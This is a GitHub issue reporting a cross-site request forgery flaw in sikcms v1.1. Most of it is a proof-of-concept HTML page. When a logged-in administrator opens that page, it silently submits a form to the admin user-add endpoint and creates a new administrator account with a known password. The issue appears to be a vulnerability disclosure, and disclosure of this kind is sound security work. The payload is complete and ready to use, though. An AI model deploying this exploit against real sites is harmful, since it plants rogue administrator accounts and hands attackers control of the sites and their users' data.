New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

/sikcms/admin.php?m=Admin&c=Users&a=userAdd create in sikcms-v1.1 allows CSRF to add a background administrator account #1

Open
anquanfuwu opened this Issue Nov 9, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@anquanfuwu

anquanfuwu commented Nov 9, 2018

When the administrator lands, open it.
exp.html:

<script>history.pushState('', '', '/')</script>
<form action="http://10.148.183.253/sikcms/admin.php?m=Admin&c=Users&a=userAdd" method="POST">
  <input type="hidden" name="info&#91;roleid&#93;" value="1" />
  <input type="hidden" name="info&#91;username&#93;" value="test1" />
  <input type="hidden" name="info&#91;password&#93;" value="123456" />
  <input type="hidden" name="info&#91;repassword&#93;" value="123456" />
  <input type="hidden" name="info&#91;realname&#93;" value="dd" />
  <input type="hidden" name="info&#91;email&#93;" value="123123&#64;qq&#46;com" />
  <input type="hidden" name="info&#91;verify&#93;" value="OtlZmE" />
  <input type="submit" value="Submit request" />
</form>

@anquanfuwu anquanfuwu changed the title from CSRF vulnerability can be added to administrator account. to /sikcms/admin.php?m=Admin&c=Users&a=userAdd create in sikcms-v1.1 allows CSRF to add a background administrator account Nov 9, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment